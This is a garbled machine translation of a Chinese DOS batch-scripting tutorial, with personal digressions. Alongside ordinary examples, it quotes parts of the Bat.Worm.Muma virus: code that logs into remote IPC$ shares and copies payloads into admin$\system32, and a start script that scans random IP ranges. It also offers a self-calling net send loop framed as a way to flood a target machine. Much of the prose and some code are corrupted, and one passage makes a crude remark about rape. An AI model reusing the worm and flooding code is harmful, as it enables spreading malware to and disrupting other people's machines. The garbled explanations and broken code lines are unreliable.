Coding With Fun
Home Docker Django Node.js Articles Python pip guide FAQ Policy

Bat batch tutorial


May 22, 2021 DOS Command learning manual


Table of contents


This is a technical tutorial, I will use very simple words to express their meaning, as long as you can read, you can learn knowledge.


As I understand it, the essence of batch processing is a collection of DOS commands in a certain order.

OK, never claver and get to business (gossip less is true). B atch, also known as batch script, translates into BATCH in English, and the batch file suffix BAT picks up the first three letters. I ts composition is not in a fixed format, as long as you follow the following: each line can be considered a command, each command can contain multiple sub-commands, from the first line until the end of the last line, it runs on the platform is DOS. B atch processing has a very distinctive feature: easy to use, flexible, powerful, high degree of automation. I don't want to make my tutorial boring, because it's about the code (the batch is code, isn't it?). T he problem is inherently boring, and few people can sit back in the face of screen-full code. S o I will use a lot of simple and practical examples for the friends who read this tutorial to experience the charm of batch processing, feel its ancient spirit strange character, unknowingly fall in love with batch processing (halo, how is love?). W hat does batching have to do with love? A nswer: No! ) 。 A nother gossip: to learn batch processing, DOS foundation must be secure! Of course, brain flexibility is also an important aspect.

Example one

Give the most easy batch script to make everyone familiar with it, save the following lines of name.bat execute (only the code is given later, saved and executed in a similar way):

ping sz.tencent.com > a.txt
ping sz1.tencent.com >> a.txt
ping sz2.tencent.com >> a.txt
ping sz3.tencent.com >> a.txt
ping sz4.tencent.com >> a.txt
ping sz5.tencent.com >> a.txt
ping sz6.tencent.com >> a.txt
ping sz7.tencent.com >> a.txt
exit

Bat batch tutorial

After you perform this batch, you can set up a file called 'a.txt' on your current disk that records information that can help you quickly find the fastest QQ server away from the painful process of "transiting from the server". Here's what it means.

Is to put the previous command to get things to the back of the place, the role of ''gt;', and the same as ''gt;', the difference is to add the result to the previous line of the results, specifically the next line, and the results of the previous line of commands will be retained, so that this 'a.txt' file can be larger and larger (think how to destroy?)? ) 。 B y the way, this batch can also be combined with other commands, into a fully automated judgment server speed east, after execution directly display the fastest server IP, is not cool? We'll cover it in more detail later.

Example two

Give another example that is out of date ('a.bat'):

@echo off
if exist C:\Progra~1\Tencent\AD.gif del C:\Progra~1\Tencent\AD.gif
a.bat

Why is this an outdated example? V ery simple, because now almost no one with advertising QQ (KAO, my QQ also shows friends three circles!! ) , so it's almost useless. B ut once its role is not to be peeped: delete QQ ads, let the dialog box clean. T he address used here is QQ's default installation address, the default batch file name is 'a.bat', you can of course modify it yourself according to the situation. T he if command is used in this script so that it can achieve the effect of timely judgment and deletion of ad images, you only need to do not close the DOS window after the execution of the command, do not press the 'CTRL-C' forced termination command, it has been monitoring whether there are advertising images (QQ also constantly check whether their ads are deleted). Of course this script takes up a little bit of your memory, huh?

Example three

Use the batch script to check if the glacier is in. The script reads as follows:

@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit

The 'netstat' command is used here to check the status of all network ports, and you only need to know the ports used by common Trojans to tell if someone has planted ice. H owever, this is not certain, because the glacier's default port 7626, can be modified. A ll presented here are methods and ideas. H ere is a slight change in methods and ideas, it becomes a script that can check other Trojans, and then changes, add parameters and ports and information list files, it becomes an automatic detection of all Trojans script. O h, isn't it addictive? The script also uses the combined command '' and the pipeline command '|', which are described in more detail later.

Example four

The system garbage is automatically removed by batch processing, and the script is as follows:

@echo off
if exist c:\windows\temp. del c:\windows\temp\.
if exist c:\windows\Tempor~1. del c:\windows\Tempor~1\.
if exist c:\windows\History. del c:\windows\History\.
if exist c:\windows\recent. del c:\windows\recent\.

Save the above script content to 'autoexec .bat' and automatically delete the system garbage each time you turn it on. There are two points to note here: First, DOS does not support long file names, so there is 'Tempor to 1' this East East;



Friends who have seen the first chapter must have a preliminary impression of batch processing and know what it is used for. B ut do you know where the essence of batching lies? I n fact, it is very simple: the idea to be flexible! T here's nothing you can't do, there's nothing you can't imagine. T his is a little different from love, because the world of love is a world of two people, wishful thinking is not called love (add: that is called single love. N onsense! And batch processing is a person's paradise, you can do whatever you want, there is no realm that can not be reached!


Batching may look cluttered, but it's no less logical than other program languages, such as assembly, and if you're writing a script that's a bunch of messy, and although every line of commands is correct, you don't necessarily get the result you want from start to finish, perhaps a screen of 'Bad command or fail name'. T his, in turn, has something in common with love: running by step, missing or increasing the number of steps can lead to outcomes you don't want to see. A friend who is in love, I believe there is no certainty about this sentence. M y Love Batch, the output is not 'Bad command or fail name', the screen is shown this way: 'Your Love' is not an internal or external command, nor is it a running program or batch file. Then the cursor keeps flashing, waiting for this next wrong input.


Starting with this chapter, there will be a shallow introduction to commands commonly used in batch processing, which are widely used in batch scripts, but are more flexible and automated than DOS. T o learn batch processing well, DOS must have a solid foundation. H ere only describes some of the less-used (relatively) DOS commands, common commands such as COPY, DIR, etc. do not do the introduction (these seemingly simple commands are actually complex, I am afraid I can not say clearly!) )。


Example five

Let's look at an example first. T his is a very interesting script, a small and practical good Dongdong, batch "automation" characteristics reflected in the most vivid. F irst introduce the history of this script: we all know the assembly program (MASM) on-board process, first to the source code assembly, connection, and then execute, and there are many links in the middle need to enter a lot of things, trouble very (only experienced friends understand). H ow to make the process simple? W hen we did the assembly course design, I was "forced" to write this script, which is very good to use, ha ha. Take a look at the script:

@echo off
::close echo
cls
::clean screen
echo This programme is to make the MASM programme automate
::display info
echo Edit by CODERED
::display info
echo Mailto me : [email protected]
::display info
if "%1"=="" goto usage
::if input without paramater goto usage
if "%1"=="/?" goto usage
::if paramater is "/?" goto usage
if "%1"=="help" goto usage
::if paramater is "help" goto usage
pause
::pause to see usage
masm %1.asm
::assemble the .asm code
if errorlevel 1 pause & edit %1.asm
::if error pause to see error msg and edit the code
link %1.obj & %1
::else link the .obj file and execute the .exe file
:usage
::set usage
echo Usage: This BAT file name [asm file name]
echo Default BAT file name is START.BAT
::display usage

Don't be frightened by this pile of things, calm down and take a closer look (think back to how the first paragraph of the first chapter was written!!) ) 。 H as given the explanation of each line of command, two colons after the content of the previous line of content interpretation of the E text (afraid of E-text friends do not have to worry, are easy, a look to understand, really do not understand will not look up the dictionary ah, so lazy?) ) , which does not appear when the script is executed and does not have any effect. T here is a colon at the top of the penultimate line, but it's not a pen error! T he specific role will be discussed in more detail later. M ass and link in this script are assemblers and connection programs that must be in line with the edit program as well as the source code you want to edit (and of course this script, crap!). T ogether in the current directory. U sing this batch script, you can minimize manual input, the entire process only need to press a few enter keys, you can achieve from assembly source code to executable exe file automation conversion, and has intelligent judgment function: if the compilation of the source code error (compilation is not successful), then automatically pause the display of error messages, and press any key to automatically enter the edit source code interface; I n addition, due to the simplicity and flexibility of batch commands, the script also has good improvability, simple modifications can be in line with the habits of different friends. Friends who are learning to compile, don't forget to practice!


In this script, the following commands appear: `@`、`echo`、`::`、`pause`、`:`和`goto`、`%`以及`if` And this chapter will cover these commands.


1、 @

This symbol is no stranger to everyone, 'email' must-have symbol, how can it run into the batch? O h, it's not its fault, batch processing is inseparable from it, or not perfect. I ts role is to make the execution window do not display the command itself on the line behind it (what a word around the mouth!). ) 。 O h, in layman's terms, if you have it at the head of the line, the command of this line will not show. I n example five, in the first line of '@echo off', the effect of ' is to have the script execute without showing the 'echo off' section that follows. Y ou know that, don't you? S till don't understand? It doesn't matter, after reading the 'echo' command introduction, naturally understand.

2、echo

Chinese means "feedback" or "echo." I t's actually a switch command, which means it has only two states: on and off. S o there are two commands, 'echo on' and 'echo off'. E xecuting the 'echo' command directly will show the current 'echo' command status ('off' or 'on') and executing 'echo off' will turn off echo, and all commands that follow it will not display the command itself, only the results after execution, unless the 'echo on' command is executed. I n example five, the first line of the ' command and the 'echo off' command are combined for two purposes: do not display the 'echo off' command itself, and do not display the command itself in the next line. It's a bit of a mess, but if you practice, the 3-minute package will, you won't refund it!

Another use of the 'echo' command: you can use it to display information! F or example, the penultimate line in the fifth, 'Default BAT file name is START. B AT' will be displayed in the window after the script executes, and the 'echo' command itself will not be displayed (why??) )。

Another use of the 'echo' command is that you can edit the text file directly. Example 6:

echo nbtstat -A 192.168.0.1 > a.bat
echo nbtstat -A 192.168.0.2 >> a.bat
echo nbtstat -A 192.168.0.3 >> a.bat

The above script content is edited by entering directly on the command line, one carriage return per line. Finally, a 'a' file is generated in the .bat directory, and direct execution will result.

3、::

The effect of this command is very simple, it is a comment command, in the batch script and 'rem' command equivalent. W hat follows it doesn't show up at execution, and it doesn't work, because it's just a comment, it just increases the readability of the script, similar to '/....../' in C. Earthlings can understand, not much to say.

4、pause

Chinese meaning "pause" (look at your 'workman'), I've always thought of it as the simplest command in batch processing, simple and practical. I ts role is to pause the current program process and display a line of information: Press any key to continue. . . In example five, this command was used twice, the first time to let the user see the program information clearly, the second is to display the wrong assembly code information (in fact, it is not want to show, but 'masm' program in the display of error messages when it was suspended, so that you can see where your source code is wrong).

5, ':' and 'goto'

Why put these two commands together? B ecause they are indesoly different, no matter which one is missing or which one is more will go wrong. ' goto' is a jump command,' 'is a tag. W hen the program runs to 'goto', it automatically jumps to the ':'defined part to execute (isn't it divided?) ) 。 A ':' appears at the top of the penultimate line in example five, and the program automatically jumps when it runs to 'goto': the part of the label definition is executed, resulting in the display script 'usage' (usage is the label name). I t's not hard to see that the 'goto' command is based on the colon and label name to find where it should jump, they are one-to-one correspondence. T he 'goto' command is also often used in conjunction with the 'if' command. As for the specific use of these two commands, refer to example V.

Another use of the 'goto' command is to end the program early. U se the 'goto' command to jump to a label in the middle of the program, and the contents of that label are defined as exit. Such as:

……
goto end
……
:end


Here': end' on the last line of the script! In fact, this example is very retarded, after the 'if' command and combination command you will know.

6、%

This percent sign is strictly not a command, it's just a parameter in batch (except for multiple % used together, which will be covered in more detail later), but don't think it's just a parameter to look down on it (see how many places in Example V use it?). ) , which is 51% less functional without its batch processing. Look at example seven:

net use \%1\ipc$ %3 /u:"%2"
copy 11.BAT \%1\admin$\system32 /y
copy 13.BAT \%1\admin$\system32 /y
copy ipc2.BAT \%1\admin$\system32 /y
copy NWZI.EXE \%1\admin$\system32 /y
attrib \%1\admin$\system32\10.bat -r -h -s

The above code is part of the Bat.Worm.Muma virus, %1 for IP, 2% for username, and 3% for pasword. T he execution is in the form of: script file name parameter one argument two ... A ssuming that the script is saved as .bat, it is executed as follows: a IP username password. H ere IP, username, password is three parameters, indispensable (because the program does not run correctly, not because less parameter syntax is not right) so that in the script execution process, the script will automatically use your three parameters in turn (remember, in order!). I t is also a one-to-one correspondence. S ubstitute 1%, 2%, and 3%, thus achieving the purpose of flexible use (imagine, if the script directly defined IP, username and password dead, then the role of the script is fixed, but if you use %, different parameters can achieve different purposes, is not more flexible?) )。

The use of this parameter will be covered in subsequent sections. Must be very skilled, this requires a lot of practice process, need to work hard!

This chapter is written here. M aybe a friend asked: Why didn't you introduce the if command? O h, it's not that I forgot, it's not easy to say clearly, the next chapter will be again! T his chapter says this thing, if you are a beginner, I'm afraid it's enough to digest. K eep in mind that DOS is a batch BODY, and any DOS command can be used in batch scripts to accomplish specific functions. H ere, have you thought of using what's in your stomach to write something with an automated color? Quite simply, it's just a collection of DOS commands, and I'm sure the self-proclaimed genius will automate the DOS portion of the computer-level exam with batch processing.

Bother! I t's like a half-old woman to menopause, everything wants to nag a few words, everything feels uncomfortable, see who is not happy. K nowing that there are tigers in the mountains, partial to the tiger mountain line, and finally left a scar to no avail, only to find that they are so fragile, so small, so vulnerable. W andering on the edge of collapse, suddenly recalled the last time he flat people that moment, really a little miss (in fact, I do not like flat people, not to be flat). I needed to vent, I hit the keyboard with my fingers, and in a rhythmic sound, the text appeared on the screen. B ut is this another way to vent? C hinese is still strong, as early as thousands of years ago Kong Laozi said "only women and small people, difficult to support also", really prescise, admire! Although in venting, but please rest assured that my temper, since the decision to write this tutorial, will certainly try to write well, write perfect, absolutely do not leave themselves regret, or this tutorial is not Written by me!

Once there was a classic batch tutorial that appeared on your screen, you didn't save it, and you didn't regret it until you couldn't find a link to it. I f God can give you a chance to see it again, you will say three words to the tutorial: I love you! I f you have to put a deadline on this love, you want it to be 100 years. B ecause 100 years from now, I'm afraid you've hung up! A nd now, this batch tutorial you're looking at appears on your screen, which is not as classic as the one you've ever seen, but if you barely make it back. W ill you love it? W ill it be 50 years? The answer is: give it a try.

The most important commands in the batch script are described in more detail in this chapter, but unfortunately, some of the details I haven't mastered so far are good, and even some of them are raw. I t's like not knowing much about love. B ut I've been working hard, even if I haven't been able to get anything. S o maybe it's more general, but I'll tell you the way, the rest is a matter of time, need to hone yourself. L et's work together. F rozen three feet is not a day's cold, dripping water through the stone is not a day's work. S ome things, such as learning batch processing, such as love for a person, are not quick, and there will even be hard work and little gain. Again, be sure to calm down when you read this tutorial, unless you've mastered everything about this tutorial---- but that doesn't have to be seen, a waste of time!

7、if

Take the next chapter, followed by the if command. I n general, an if command is a command that represents judgment, and depending on each result, it can correspond to a corresponding action. The three uses of it are speaking separately here.

(1), enter judgment. Let's use the words in case five:


if "%1"=="" goto usage
if "%1"=="/?" goto usage
if "%1"=="help" goto usage

Here you judge the input parameters, if the parameters are empty (no parameters), jump to usage, if the parameters are /? or help with a command (we usually look at the help of a command, is not the input /? or help, here just to make the script look more like a real program), also jump to usage. H ere you can also use a negative form to express "not equal", for example: if not "%1" "goto usage", indicating that if the input parameters are not empty to jump to usage (in practice, there is no point in doing so, here is the introduction of usage, can not control so much, ha ha). I sn't it easy? In fact, Chinese into a little experience on the underrstand.

(2), the existence of judgment. Look at this sentence in example two:

if exist C:\Progra~1\Tencent\AD.gif del C:\Progra~1\Tencent\AD.gif

If those gif files exist, delete them. O f course, there are example four, are the same truth. N ote that the condition judgment here is judged to exist, and of course it can also be judged not to exist, such as the following sentence "Exit the script if those gif files do not exist": if not exist C: s Progra-1 s Tencent.gif AD exit. It's just one more not to say no.

(3), the result judgment. Or take an example of five knives (did not expect to write their own script, even useful so big, ha ha):

masm %1.asm
if errorlevel 1 pause & edit %1.asm
link %1.obj

The source code is compiled first, the error message is paused if it fails, and the editing interface is automatically entered after any key is pressed; H ere's just a look at the places related to the if command, which will be covered later. This usage is to first determine the return code after the execution of the previous command (also known as the error code, the DOS program has a return code after running), and if the defined error code is consistent (the error code defined here is 1), the appropriate action is performed (here the corresponding action is the pause and edit %1.asm section).

In addition, as with the other two uses, this usage can also indicate a negative. The meaning of the above three sentences is still expressed in negative form, and the code changes to:

masm %1.asm
if not errorlevel 1 link %1.obj
pause & edit %1.asm

See the essence? I n fact, the results are judged after the execution of the command interchange, "if not errorlevel 1" and "if errorlevel 0" effect is equivalent, both indicate that the last masm command executed successfully (because it is misjudged, and the return code is 0, 0 means no, that is, this error does not exist, that is, mass execution success). W hether to add not here, error code in the end with 0 or 1, is worth considering the two issues, once the combination of unsuccessful scripts will certainly go wrong, so we must experience very profound. H ow to experience the profound? P ractice! W rite a script yourself, and then write a not and no not case, return code 0 or 1 case respectively to execute (how, trouble ah?). A rrange the combination to calculate the situation in only four, you are in trouble? T here's more trouble when it follows up on pipeline commands and combined commands! A fraid? O h. ), so that the difference between the two situations can be clearly seen from the results of the implementation.

This use of errorlevel result judgment is the most difficult use of if command, but it is also the most useful use, if you do not use errorlevel to judge the return code, then to achieve the same effect, you must use else to represent "otherwise" operation, is more cumbersome. The above code must become:

masm %1.asm
if exist %1.obj link %1.obj
else pause & edit %1.asm

The three uses of the if command are here, and the understanding is simple, but not necessarily easy to use when applied, mainly because of proficiency. S ome friends may be a little surprised, how can I not give a usage introduction similar to the following three lines, because the following three lines are if command help to explain its own usage, anyone just a "if /?" A s you can see, I don't have to talk too much here; the more important reason is that I think this introduction is not clear, people do not necessarily understand, so I use the above self-understanding of the if command to introduce. I t is important to note that the formats of these three uses are different and cannot be changed, but they are actually interchangeable (assuming that, essentially, all three uses are based on judgment, philosophy teaches us to see the nature of things through phenomena!). ) Interested friends can study it for themselves.


IF [NOT] ERRORLEVEL number do command
IF [NOT] string1==string2 do command
IF [NOT] EXIST filename do command

8、call

Friends who have studied compilation or C must all know what call instruction means, and here it means the same thing. I n a batch script, the call command is used to call another batch script from one batch script. Example 8 (the default three script file names are start.bat, 10.bat and ipc .bat):


start.bat:
……
CALL 10.BAT 0
……
10.bat:
……
ECHO %IPA%.%1 >HFIND.TMP
……
CALL ipc.bat IPCFind.txt
ipc.bat:
for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k

Did you see anything wrong? C an't you see that? I t's right not to see it, in fact, there's nothing wrong with it, how do you see it! F rom the above two scripts, you can get the following information: 1, script calls can be flexible use, recycling, reuse. 2 , script calls can use parameters! There is not much to say about the first point, smart you should look at it, here to say the second point.

In the .bat, 10 .bat followed by parameter 0, the effect at execution is actually to replace the 10.bat parameter %1 with 0. I n start.bat, the ipc.bat is followed by the parameter ipcfind.txt (a file, can also do parameters), the effect of execution, is to use ipc.bat in each line of the three variables (here do not understand, learned after the for command to understand), corresponding to the replacement of ipc.bat% i, %% j and %%k. H ere parameter calls are very flexible and need to be experienced when used. I n the beginning of the school year, you can learn to call only scripts, as for the use of parameters of the script together, in the later learning will naturally have a deeper understanding, because when you have the flexibility to use batch scripts, how to make code writing more streamlined more perfect and more efficient naturally included in the scope of consideration, you will find that when calling scripts directly add parameters, you can double the efficiency of the code. By the way, the scripts above are all part of the Bat.Worm.Muma virus, and in a later tutorial, you'll have a chance to see what the virus really is.

Does that mean that there are at least two batch script files in the same directory (only one you call?). ) ? O h, pay attention, this sentence is wrong! ! O nly one can still call ---- call itself! Look at Example 9 (default script file name .bat):

net send %1 This is a call example.
call a.bat

The combination of these two sentences, the effect is naturally not good, because there is only one machine to send messages, who is afraid of who ah? I 'll give you a courtesy! B ut if 100 machines are executed at the same time, and each machine opens 10 and the window simultaneously sends a message to a target machine, ha ha. Here call .bat is to call itself, execute the previous net send command and then call itself, to achieve the purpose of loop execution.

Give an interesting script that interested friends can experiment with. Example 10 (default script file name .bat):

call a.bat

Be sure to execute under the DOS window, otherwise you will only see a window flash past and you won't see the final result. W hen the script is executed 1260 times, don't forget to think about why! L ove is sometimes like this script, once caught in a dead cycle, the end result is unexpected. Just love, never wait to be looped so many times for no reason, perhaps in the third time there is a love is aborted hint.

9、find

This is a search command that searches for specific strings in a file and is usually used as a paver for conditional judgment (how do I suddenly think of these four words?). ) 。 T his command alone is rare in batch processing because it doesn't make any practical sense. Or borrow example three to illustrate:

@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit

First use the netstat command to check if there is a glacier default port 7626 active and save the results to .txt a. T hen use the type command to list the contents of the a.txt, and then search for the string "7626" in the listed content, and find that if there is a hint of ice, otherwise exit. L ook, the find command is as simple as that, but it's important to note that if you don't use the type command to list the contents of a.txt, instead look directly for "find a.txt "7626" in a .txt without using the find command. Y ou have infected GLACIER!" ) , you have to give the absolute path .txt the a-path (I tried, find no default path is the function of the current path, you have to specify it manually). M aybe I was wrong, welcome to point the finger right). B ecause in the help of the find command, if no path is specified, find searches for typed text or text generated by another command. The "other command" here naturally refers to the type command.

As for the other parameters of the find command such as v, n, i, etc. , interested friends to study it, this is already the content of DOS learning, here is not to introduce. Some of the more subtle uses of find commands and other commands (some of which are simply amazing) will be covered in a follow-up tutorial that you'll want to focus on.

10、for、set、shift

Why put these three commands together? T he reason is beyond my explanation, I'm afraid no one can think of it! V ery simple sentence: In fact, I do not understand! Y es, for these two commands, I began to study the Bat.Worm. Muma virus, time has passed a lot, but still did not fully understand, I am afraid to speak out even I do not understand, I am more afraid of accidentally wrong to become a sinner. S o I'm going to give you a script to tell you how to get these two commands to give me a preliminary impression, which is actually the introduction to these two commands, not how to understand them. B ecause it's easy to understand two commands (especially for) that are so subtle! M aybe you'll praise me for being honest and don't understand; maybe you'll scold me, let me get out of here if I don't understand, don't be ashamed here; maybe you'll say something so nice or bad, you'll be free, even if I don't agree with what you say, I'll defend your right to speak to the death. Look at example 11:

@echo off
for /? > for.txt
set /? > set.txt
shift /? >shift.txt
exit
    

After execution, three files, for.txt, set.txt and shift.txt are generated under the current path, which record the help information for the for command, the set command, and the shift command, respectively. P eople on earth can understand, I won't say much. I 've been looking online for a long time for tutorials on these three commands, but they're not ideal, and they're basically copying the help information. I think after I have fully mastered these two commands, be sure to write a for, set, and shift tutorial summed up in your own words (about shift commands, which will also be covered when you introduce the parameters of batch processing later), certainly, this is one of my wishes! I t is important to note that the help of these three commands, the introduction is more rigid, although also cited some examples, but this is far from enough. T o master these two commands, what is most needed is patience! I f you're right, it's patience. J ust carefully read their help words already need enough patience, to further practice to understand these two commands, do not need more patience? T he opportunity to practice in action I will leave you, the key is that sentence, see if you have the patience to study. Take a look at Example 12:


START.BAT:
CALL MUMA.BAT
SET IPA=192.168
CALL 10.BAT 0
:NEARAGAIN
netstat -n|find ":" >A.TMP
FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT
:START
CALL RANDOM.BAT
IF "%NUM1%"=="255" GOTO NEARAGAIN
IF "%NUM1%"=="192" GOTO NEARAGAIN
IF "%NUM1%"=="127" GOTO NEARAGAIN
IF "%NUM2%"=="255" GOTO NEARAGAIN
IF "%NUM3%"=="255" GOTO NEARAGAIN
IF "%NUM4%"=="255" GOTO NEARAGAIN
SET IPA=%NUM1%.%NUM2%
ECHO START > A.LOG
PING %IPA%.%NUM3%.1>B.TMP
PING %IPA%.%NUM3%.%NUM4%>>B.TMP
FIND /C /I "from" B.TMP
IF ERRORLEVEL 1 GOTO START
CALL 10.BAT %NUM3%
DEL A.LOG
GOTO START

This is the starting script for the Bat.Worm.Muma virus, which sets the environment variables in which the virus runs. A re you looking at all the big heads? A nd forgot the sentence written in the first paragraph of the first chapter (calm down!) Y ou should be able to appreciate the patience required to learn these two commands. J ust like to love a person, you have to learn tolerance, can not scold, with your broad mind to accommodate her everything, even if you find that the process of loving her like the process of looking at the above code to make your head big, but you still have to love---- Love needs a reason? D on't you need it? D o you need it? D on't you need it... Wait until calm, the most intuitive harvest is that your patience has become unprecedentedly sufficient, in the face of her complexity and change, you will be everywhere not surprised, in your own way to calmly cope with the scene that once could not be coped with, even to the last scar, will feel how great the move.

That's right, that's the charm of batch processing, that's the charm of love. L et you get hurt and thank the people who hurt you. It's like being raped, sore and happy in your favorite music.

Again, the various DOS commands are batch BODY (I really can't find a more appropriate word to describe their relationship), and learning DOS commands is a prerequisite for learning batching well. O ther DOS commands such as copy, dir, del, type, path, break, start, and other internal commands, as well as external commands such as ping, net, cmd, at, sort, attrib, fc, find, etc., are widely used in batch processing. T he purpose of this tutorial is to teach you about batching and how to use DOS commands to combine a perfect batch script to get it to do exactly what you want it to do. The flexibility to edit a batch script is based on a mastery of DOS commands, which is beyond the scope of this article, not to mention here.

Unwittingly, chapter three is over. T he headset still comes from Chen Xiaodong's "Happier Than Me", which is automatically replayed every 4 minutes and 32 seconds. A lthough I do not like Chen Xiaodong very much, but this does not prevent me from like music, like this description of such an impressive song. P lease be happier than me / Just don't spend my wolf quit / No more pain and no more pain / Love don't have to be sorry to make up / At least I can make up your chase / Please remember you're happier than me / It's worth my cruelty to yourself / I silently countdown / Finally see you clearly / Look at me in your eyes / Slowly be banished. I am like an old whore who can't pull away because of old age, desperate wandering in the once brilliant red light district, with a face of wood glances to the crowd, silently recalling their disgraceful past, fantasizing about the future they will face. It was not until I saw the happy couples that we suddenly discovered God's fairness, and this kind of fair cruelty.

It can be said that the most important commands in the batch script I did not give as much detail as echo or if, the reason I have said, because I am also a dish, I do not understand---- but I am learning! W hat about you? T oday went to a library, gold-digging found a book called "DOS approval documents" Dongdong, hidden in a corner filled with gray, five books together with bricks as thick. P robably turned over, it introduced a lot of relatively basic and basic things, although from the point of view, has been a bit out of time, a lot of things have basically no use of the value (this is the update speed of the information age), but it is still worth watching. S o intended to come over in the afternoon, vacation back to study again, together with those unfamiliar orders together to get familiar with, and then continue to write this tutorial. I have always believed that there is no best but better.

But unfortunately, by the time we went again in the afternoon, a sign had been erected at the stairwell of the library that said that the work of the ---- service was over this semester. S o back to the dormitory to continue to write chapter four, is at this time to get a "exciting" news: the final exam has a section hung up, and is the first class---- T he depressed mood suddenly poured into my heart, and the whole world seemed to turn black. C anteens and small shops have been closed, fewer and fewer people in the school, facing a few students are also a bag, busy ready to go home for the New Year, the inner loneliness and loss like the summer rain before the dark clouds, quickly and irresistible occupation of every corner of the heart. Facing the cold wind of January, I was alone on the overpass, how else, even the final exam can not cope with the failure of the man.

"Break between classes" seems to be a little longer, ha ha, class! S tarting with this chapter, you'll learn more about several combinations of commands and pipeline commands commonly used in batch processing. Although these commands are not necessary, as love a person does not necessarily have to accompany every day, but if the process is less, things will become complex and imperfect, so I think the pipeline commands and combination commands are batch flavoring, almost unmissable.

Let's start with the pipeline command. Common pipe commands include the following: |,

11、|

This command I'm afraid we are not very strange, often do DOS friends should know that when we look at the help of a command, if the help information is relatively long, a screen does not end when DOS does not give us time to read one screen and then turn to another screen, but directly to the end of the help information. I f you enter help carriage return at the prompt, you will see all the non-implied commands supported by the current DOS version, but you can only see the last of those commands, the previous flashed, how to solve this problem? Example 13:

help | more

When you return, you'll notice that you'll automatically pause when you're full, waiting for additional information to continue. When you press Write Back, it becomes one by one, one screen at the time of the space bar is pressed until it is all displayed, and the other keys automatically stop returning to DOS.

Why is this the reason? T he answer is simple: there's a combination | pipeline commands and DOS commands to get there together. Here is a brief introduction to the helpp command and the more command, which is very helpful | to understand the use of this command.

11.1, help command. In fact, this command does not need to say much, but in the above example the use of the help command is relatively special, directly under the DOS prompt input help command, the result is that the DOS shows all the non-implied commands it supports, while elsewhere with the help command, such as enter net help return, is to display the help information of the command net.

11.2, more command. P erhaps many friends have not been exposed to this command before, and this command is very useful under Linux and is one of the pipeline commands. Y ou can find a longer article (a.txt) at the DOS prompt to enter the following two commands to compare the differences: more a.txt and type .txt. W ith the more command, you can achieve the effect of displaying the output screen-by-screen or line-by-line, while the type command can only display the output once, and the end result is that you can only see the end part. In example 13, the role of the more command is to have the output information displayed screen-by-screen or line-by-line.

See here, have you been able to vaguely feel the | of this command? Y es, its function is to use the output of the previous command as the input of the 1st command. I n example 13, the output of the previous command is all the non-implied commands supported by the DOS displayed after the help command is executed, and this result is just the input of the 1st command more. So examples 13 and 14 below are equivalent:


help > a.txt
more a.txt
del a.txt

Another pipeline command is used here to generate an a.txt file as an intermediate link, and then delete the a.txt file after viewing the a.txt file with the more command.txt (example 13 does all the work in memory and does not generate the file). As you can see, using the | commands correctly can lead to more with less.

Combined with examples 13 and 14, as well as the previous example 9 to experience again: the role of the | command, is to let the output of the previous command as the input of the 1st command.

12、>、>>

Both commands have essentially the same effect, and they are both output redirect commands, which, in layman's terms, write the output of the previous command to a file. T he only difference between the two commands is that the contents of the original file are cleared and the new content is written to the original file, while only another line is added to the original file without altering the original content. Example 15:

echo @echo off > a.bat
echo echo This is a pipeline command example. >> a.bat
echo echo It is very easy? >> a.bat
echo echo Believe your self! >> a.bat
echo pause >> a.bat
echo exit >> a.bat

Enter the above lines of commands in turn under the DOS prompt, one line at a time, and an a.bat file will be generated in the current directory, as follows:

@echo off
echo This is a pipeline command example.
echo It is very easy?
echo Believe your self!
pause
exit

See here, how much information did you get? 1 . You can edit a text directly under the DOS prompt using the writing function of the echo command without the need for a dedicated text editing tool; I f you only do this here with the command, you'll end up with an .bat, but only the last line of exit is left. S o it's generally used in a union, unless you redirect the output to only one line, then you can use it only. In combination with examples, the use of output redirect pipeline commands and and gts has been carefully appreciated over and over again.

13、<、>&、<&

These three commands are also pipeline commands, but they are generally not commonly used, you only need to know ok, of course, if you want to study carefully, you can check the information yourself.

Enter a redirect command to read the command input from the file instead of from the keyboard.

The output of one handle is written to the input of another handle.

In contrast, the input is read from one handle and written to another handle output.

Examples of these three pipeline commands will also be covered in the subtle application of the later batch scripts.

Here's how to combine commands: . ||

Combining commands, as the name implies, means that multiple commands can be combined to execute as one command. T his is allowed in batch scripts and is widely used. I ts format is simple---- now that it's a file, these commands need to be connected with these combined commands on the same line ---- because the batch recognizes the number of commands. T he role of the combination of commands, as to accompany a lover is not, say a sentence is to say, say ten sentences is also said, not once said good things, the effect may be better---- The same is said in batch scripts, when some commands cannot be executed at the same time, as you'll be told later.

Just sent away a classmate, people go to the empty feeling more and more obvious, looking at the empty bed----, weekday noisy dormitory is left with me alone, the whole world only that usually very annoying mouse at this time to look cute---- F ailed! I felt like I couldn't breathe, and the pressure of failure suffocated me, so much so that my hands couldn't receive the signal from my brain, it just made this unfinished tutorial die. But who can I blame?

Busy for a semester to be New Year's Day but hung up the section, failure, hanging section also fell, even a person dragged the whole class back, failure in failure; B ut this also solved a long-doubting question: why know that the love is a vortex but also willing to jump inside---- This is youth, wind-like age, fire-like uneasiness of the heart. N o more love, I don't want to be alone when waiting hard, no more love, I don't want love in the cage you give mercy, no more love, I don't want to be so ridiculous in the eyes of others, no more love, no more love. Even if the collapse, I also want a person to carry, head can not lower can not bend, can not gasp can not confide, because although failed, but still a man, is a man can not bow to difficulties!

14、&

This is arguably the simplest combination of commands, and its role is to connect n DOS commands and execute them sequentially, regardless of whether or not the command fails to execute. Example 16:


copy a.txt b.txt /y & del a.txt

In fact, this sentence and move .txt b.txt effect is the same, but the former is carried out in two steps (later will also be related to the specific use of which method). This command is very simple, not too much tongue-in-cheek, the only thing to note is that the commands on both sides here are executed in sequence, from the back of the trip.

15、&&

Keep in mind that the few commands described here are composite commands, so they must have other commands before and after (or how do you combine them?). ) 。 T his command is no exception, it can combine the two commands before and after it as a command to use, unlike the command, which automatically determines whether a command is executing an error when it executes several commands that are connected to it from the back of the trip, and does not proceed with the remaining commands once an error is found. T his makes it easy for us to automate some tasks. Example 17:

dir File: //1%/www/user.mdb /amp;copy File/1%/www/user.mdb e:'backup?www.user.mdb

